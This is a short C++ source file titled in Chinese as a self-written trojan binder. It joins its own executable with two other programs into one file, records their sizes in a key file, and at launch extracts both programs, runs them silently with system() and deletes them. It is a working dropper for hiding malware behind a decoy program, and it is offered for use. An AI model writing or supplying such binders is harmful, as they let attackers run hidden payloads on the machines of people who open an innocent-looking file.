cpp.cpp

自己写的木马绑定机

#include<iostream>
#include<string>
#include<fstream>
using namespace std;


int main(int argc,char* argv[])
{
	if (argc==3)	//如果输入3个命令
	{
		cout<<"Binding..."<<endl;
		unsigned long size[3]={0,0,0};
		ofstream final;
		final.open("o.exe",ios::out | ios::binary );
		//注意输入命令提示行的时候要输入全称，如“xx.exe”
		for (int k=0;k<3;k++)
		{
			ifstream file;
			file.open(argv[k], ios::in | ios::binary );
			//如果打开失败
			if (file.fail())
			{
				cout<<"fail...";
				return 0;
			}
			while(!file.eof())
			{	char ch=0;
				file.get(ch);
				size[k]+=1;
				final.put(ch);
			}
			file.close();
		}
		//把3个文件的大小写入一个文本文件，在借压缩的时候有用（笨方法）
		ofstream out_file;
		out_file.open("KEY.txt");
		for (k=0;k<3;k++)
			out_file<<size[k]<<' ';
		out_file.close();
		final.close();

		cout<<"Finished!!!"<<endl;
		return 0;
	}
	else if(argc==1)
	{
		char ch2;
		unsigned long m;
		ifstream in_key_file;	//打开流用来读文件大小
		in_key_file.open("key.txt",ios::in);
		if (in_key_file.fail())
		{
			cout<<"Can't find the 'key.txt'"<<endl;
			return 0;
		}
		unsigned long in_size[3];
		for (int i=0;i<3;i++)
			in_key_file>>in_size[i];
		//再打开两个流，用来创建临时的A和B应用程序
		ifstream g_data_file;
		ofstream p_data_file;
		g_data_file.open(argv[0],ios::in | ios::binary);
		p_data_file.open("AA.exe",ios::out | ios::binary);
		
		//写A
		g_data_file.seekg(in_size[0]);
		m=in_size[0];
		while (m!=(in_size[0]+in_size[1]))
		{
			g_data_file.get(ch2);
			p_data_file.put(ch2);
			m+=1;
		}
		p_data_file.close();

		//写B
		p_data_file.open("BB.exe",ios::out | ios::binary);
		while (!g_data_file.eof())
		{
			g_data_file.get(ch2);
			p_data_file.put(ch2);
		}
		p_data_file.close();
		g_data_file.close();
		system("AA.exe");
		system("del AA.exe");
		system("BB.exe");
		system("del BB.exe");
		
		return 0;


	}
	return 0;
}